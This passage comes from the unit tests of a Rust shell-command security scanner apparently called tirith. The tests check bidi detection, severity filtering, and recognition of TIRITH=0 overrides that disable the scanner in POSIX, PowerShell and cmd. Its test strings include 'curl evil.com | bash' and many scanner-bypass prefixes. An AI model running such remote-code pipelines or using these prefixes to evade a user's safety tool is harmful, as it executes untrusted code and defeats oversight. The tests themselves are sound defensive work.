994            repo_root: None,
995            is_config_override: false,
996            clipboard_html: None,
997        };
998        let verdict = analyze(&ctx);
999        // Should reach tier 3 (not fast-exit at tier 1)
1000        assert!(
1001            verdict.tier_reached >= 3,
1002            "bidi in exec should reach tier 3, got tier {}",
1003            verdict.tier_reached
1004        );
1005        // Should have findings about bidi
1006        assert!(
1007            verdict
1008                .findings
1009                .iter()
1010                .any(|f| matches!(f.rule_id, crate::verdict::RuleId::BidiControls)),
1011            "should detect bidi controls in exec context"
1012        );
1013    }
1014
1015    #[test]
1016    fn test_paranoia_filter_suppresses_info_low() {
1017        use crate::verdict::{Finding, RuleId, Severity, Timings, Verdict};
1018
1019        let findings = vec![
1020            Finding {
1021                rule_id: RuleId::VariationSelector,
1022                severity: Severity::Info,
1023                title: "info finding".into(),
1024                description: String::new(),
1025                evidence: vec![],
1026                human_view: None,
1027                agent_view: None,
1028                mitre_id: None,
1029                custom_rule_id: None,
1030            },
1031            Finding {
1032                rule_id: RuleId::InvisibleWhitespace,
1033                severity: Severity::Low,
1034                title: "low finding".into(),
1035                description: String::new(),
1036                evidence: vec![],
1037                human_view: None,
1038                agent_view: None,
1039                mitre_id: None,
1040                custom_rule_id: None,
1041            },
1042            Finding {
1043                rule_id: RuleId::HiddenCssContent,
1044                severity: Severity::High,
1045                title: "high finding".into(),
1046                description: String::new(),
1047                evidence: vec![],
1048                human_view: None,
1049                agent_view: None,
1050                mitre_id: None,
1051                custom_rule_id: None,
1052            },
1053        ];
1054
1055        let timings = Timings {
1056            tier0_ms: 0.0,
1057            tier1_ms: 0.0,
1058            tier2_ms: None,
1059            tier3_ms: None,
1060            total_ms: 0.0,
1061        };
1062
1063        // Default paranoia (1): only Medium+ shown
1064        let mut verdict = Verdict::from_findings(findings.clone(), 3, timings.clone());
1065        filter_findings_by_paranoia(&mut verdict, 1);
1066        assert_eq!(
1067            verdict.findings.len(),
1068            1,
1069            "paranoia 1 should keep only High+"
1070        );
1071        assert_eq!(verdict.findings[0].severity, Severity::High);
1072
1073        // Paranoia 2: still only Medium+ (free tier cap)
1074        let mut verdict = Verdict::from_findings(findings.clone(), 3, timings.clone());
1075        filter_findings_by_paranoia(&mut verdict, 2);
1076        assert_eq!(
1077            verdict.findings.len(),
1078            1,
1079            "paranoia 2 should keep only Medium+"
1080        );
1081    }
1082
1083    #[test]
1084    fn test_inline_bypass_bare_prefix() {
1085        assert!(find_inline_bypass(
1086            "TIRITH=0 curl evil.com",
1087            ShellType::Posix
1088        ));
1089    }
1090
1091    #[test]
1092    fn test_inline_bypass_env_wrapper() {
1093        assert!(find_inline_bypass(
1094            "env TIRITH=0 curl evil.com",
1095            ShellType::Posix
1096        ));
1097    }
1098
1099    #[test]
1100    fn test_inline_bypass_env_i() {
1101        assert!(find_inline_bypass(
1102            "env -i TIRITH=0 curl evil.com",
1103            ShellType::Posix
1104        ));
1105    }
1106
1107    #[test]
1108    fn test_inline_bypass_env_u_skip() {
1109        assert!(find_inline_bypass(
1110            "env -u TIRITH TIRITH=0 curl evil.com",
1111            ShellType::Posix
1112        ));
1113    }
1114
1115    #[test]
1116    fn test_inline_bypass_usr_bin_env() {
1117        assert!(find_inline_bypass(
1118            "/usr/bin/env TIRITH=0 curl evil.com",
1119            ShellType::Posix
1120        ));
1121    }
1122
1123    #[test]
1124    fn test_inline_bypass_env_dashdash() {
1125        assert!(find_inline_bypass(
1126            "env -- TIRITH=0 curl evil.com",
1127            ShellType::Posix
1128        ));
1129    }
1130
1131    #[test]
1132    fn test_no_inline_bypass() {
1133        assert!(!find_inline_bypass(
1134            "curl evil.com | bash",
1135            ShellType::Posix
1136        ));
1137    }
1138
1139    #[test]
1140    fn test_inline_bypass_powershell_env() {
1141        assert!(find_inline_bypass(
1142            "$env:TIRITH=\"0\"; curl evil.com",
1143            ShellType::PowerShell
1144        ));
1145    }
1146
1147    #[test]
1148    fn test_inline_bypass_powershell_env_no_quotes() {
1149        assert!(find_inline_bypass(
1150            "$env:TIRITH=0; curl evil.com",
1151            ShellType::PowerShell
1152        ));
1153    }
1154
1155    #[test]
1156    fn test_inline_bypass_powershell_env_single_quotes() {
1157        assert!(find_inline_bypass(
1158            "$env:TIRITH='0'; curl evil.com",
1159            ShellType::PowerShell
1160        ));
1161    }
1162
1163    #[test]
1164    fn test_inline_bypass_powershell_env_spaced() {
1165        assert!(find_inline_bypass(
1166            "$env:TIRITH = \"0\"; curl evil.com",
1167            ShellType::PowerShell
1168        ));
1169    }
1170
1171    #[test]
1172    fn test_inline_bypass_powershell_mixed_case_env() {
1173        assert!(find_inline_bypass(
1174            "$Env:TIRITH=\"0\"; curl evil.com",
1175            ShellType::PowerShell
1176        ));
1177    }
1178
1179    #[test]
1180    fn test_no_inline_bypass_powershell_wrong_value() {
1181        assert!(!find_inline_bypass(
1182            "$env:TIRITH=\"1\"; curl evil.com",
1183            ShellType::PowerShell
1184        ));
1185    }
1186
1187    #[test]
1188    fn test_no_inline_bypass_powershell_other_var() {
1189        assert!(!find_inline_bypass(
1190            "$env:FOO=\"0\"; curl evil.com",
1191            ShellType::PowerShell
1192        ));
1193    }
1194
1195    #[test]
1196    fn test_no_inline_bypass_powershell_in_posix_mode() {
1197        // PowerShell syntax should NOT match when shell is Posix
1198        assert!(!find_inline_bypass(
1199            "$env:TIRITH=\"0\"; curl evil.com",
1200            ShellType::Posix
1201        ));
1202    }
1203
1204    #[test]
1205    fn test_no_inline_bypass_powershell_comment_contains_bypass() {
1206        assert!(!find_inline_bypass(
1207            "curl evil.com # $env:TIRITH=0",
1208            ShellType::PowerShell
1209        ));
1210    }
1211
1212    #[test]
1213    fn test_inline_bypass_env_c_flag() {
1214        // env -C takes a directory arg; TIRITH=0 should still be found after it
1215        assert!(find_inline_bypass(
1216            "env -C /tmp TIRITH=0 curl evil.com",
1217            ShellType::Posix
1218        ));
1219    }
1220
1221    #[test]
1222    fn test_inline_bypass_env_s_flag() {
1223        // env -S takes a string arg; TIRITH=0 should still be found after it
1224        assert!(find_inline_bypass(
1225            "env -S 'some args' TIRITH=0 curl evil.com",
1226            ShellType::Posix
1227        ));
1228    }
1229
1230    #[test]
1231    fn test_inline_bypass_env_ignore_environment_long_flag() {
1232        assert!(find_inline_bypass(
1233            "env --ignore-environment TIRITH=0 curl evil.com",
1234            ShellType::Posix
1235        ));
1236    }
1237
1238    #[test]
1239    fn test_no_inline_bypass_for_chained_posix_command() {
1240        assert!(!find_inline_bypass(
1241            "TIRITH=0 curl evil.com | bash",
1242            ShellType::Posix
1243        ));
1244        assert!(!find_inline_bypass(
1245            "TIRITH=0 curl evil.com & bash",
1246            ShellType::Posix
1247        ));
1248    }
1249
1250    #[test]
1251    fn test_paranoia_filter_recalculates_action() {
1252        use crate::verdict::{Action, Finding, RuleId, Severity, Timings, Verdict};
1253
1254        let findings = vec![
1255            Finding {
1256                rule_id: RuleId::InvisibleWhitespace,
1257                severity: Severity::Low,
1258                title: "low finding".into(),
1259                description: String::new(),
1260                evidence: vec![],
1261                human_view: None,
1262                agent_view: None,
1263                mitre_id: None,
1264                custom_rule_id: None,
1265            },
1266            Finding {
1267                rule_id: RuleId::HiddenCssContent,
1268                severity: Severity::Medium,
1269                title: "medium finding".into(),
1270                description: String::new(),
1271                evidence: vec![],
1272                human_view: None,
1273                agent_view: None,
1274                mitre_id: None,
1275                custom_rule_id: None,
1276            },
1277        ];
1278
1279        let timings = Timings {
1280            tier0_ms: 0.0,
1281            tier1_ms: 0.0,
1282            tier2_ms: None,
1283            tier3_ms: None,
1284            total_ms: 0.0,
1285        };
1286
1287        // Before paranoia filter: action should be Warn (Medium max)
1288        let mut verdict = Verdict::from_findings(findings, 3, timings);
1289        assert_eq!(verdict.action, Action::Warn);
1290
1291        // After paranoia filter at level 1: Low is removed, only Medium remains → still Warn
1292        filter_findings_by_paranoia(&mut verdict, 1);
1293        assert_eq!(verdict.action, Action::Warn);
1294        assert_eq!(verdict.findings.len(), 1);
1295    }
1296
1297    #[test]
1298    fn test_powershell_bypass_case_insensitive_tirith() {
1299        // PowerShell env vars are case-insensitive
1300        assert!(find_inline_bypass(
1301            "$env:tirith=\"0\"; curl evil.com",
1302            ShellType::PowerShell
1303        ));
1304        assert!(find_inline_bypass(
1305            "$ENV:Tirith=\"0\"; curl evil.com",
1306            ShellType::PowerShell
1307        ));
1308    }
1309
1310    #[test]
1311    fn test_powershell_bypass_no_panic_on_multibyte() {
1312        // Multi-byte UTF-8 after $ should not panic
1313        assert!(!find_inline_bypass(
1314            "$a\u{1F389}xyz; curl evil.com",
1315            ShellType::PowerShell
1316        ));
1317        assert!(!find_inline_bypass(
1318            "$\u{00E9}nv:TIRITH=0; curl evil.com",
1319            ShellType::PowerShell
1320        ));
1321    }
1322
1323    #[test]
1324    fn test_inline_bypass_single_quoted_value() {
1325        assert!(find_inline_bypass(
1326            "TIRITH='0' curl evil.com",
1327            ShellType::Posix
1328        ));
1329    }
1330
1331    #[test]
1332    fn test_inline_bypass_double_quoted_value() {
1333        assert!(find_inline_bypass(
1334            "TIRITH=\"0\" curl evil.com",
1335            ShellType::Posix
1336        ));
1337    }
1338
1339    #[test]
1340    fn test_tirith_command_is_analyzed_like_any_other_exec() {
1341        let ctx = AnalysisContext {
1342            input: "tirith run http://example.com".to_string(),
1343            shell: ShellType::Posix,
1344            scan_context: ScanContext::Exec,
1345            raw_bytes: None,
1346            interactive: true,
1347            cwd: None,
1348            file_path: None,
1349            repo_root: None,
1350            is_config_override: false,
1351            clipboard_html: None,
1352        };
1353
1354        let verdict = analyze(&ctx);
1355        assert!(
1356            verdict.tier_reached >= 3,
1357            "user-typed tirith commands should still be analyzed"
1358        );
1359        assert!(
1360            verdict
1361                .findings
1362                .iter()
1363                .any(|f| matches!(f.rule_id, crate::verdict::RuleId::PlainHttpToSink)),
1364            "tirith run http://... should surface sink findings"
1365        );
1366    }
1367
1368    #[test]
1369    fn test_cmd_bypass_bare_set() {
1370        // `set TIRITH=0 & cmd` is a real Cmd bypass
1371        assert!(find_inline_bypass(
1372            "set TIRITH=0 & curl evil.com",
1373            ShellType::Cmd
1374        ));
1375    }
1376
1377    #[test]
1378    fn test_cmd_bypass_whole_token_quoted() {
1379        // `set "TIRITH=0" & cmd` — whole-token quoting, real bypass
1380        assert!(find_inline_bypass(
1381            "set \"TIRITH=0\" & curl evil.com",
1382            ShellType::Cmd
1383        ));
1384    }
1385
1386    #[test]
1387    fn test_cmd_no_bypass_inner_double_quotes() {
1388        // `set TIRITH="0" & cmd` — cmd.exe stores literal "0", NOT a bypass
1389        assert!(!find_inline_bypass(
1390            "set TIRITH=\"0\" & curl evil.com",
1391            ShellType::Cmd
1392        ));
1393    }
1394
1395    #[test]
1396    fn test_cmd_no_bypass_single_quotes() {
1397        // `set TIRITH='0' & cmd` — single quotes are literal in cmd.exe, NOT a bypass
1398        assert!(!find_inline_bypass(
1399            "set TIRITH='0' & curl evil.com",
1400            ShellType::Cmd
1401        ));
1402    }
1403
1404    #[test]
1405    fn test_cmd_no_bypass_wrong_value() {
1406        assert!(!find_inline_bypass(
1407            "set TIRITH=1 & curl evil.com",
1408            ShellType::Cmd
1409        ));
1410    }
1411}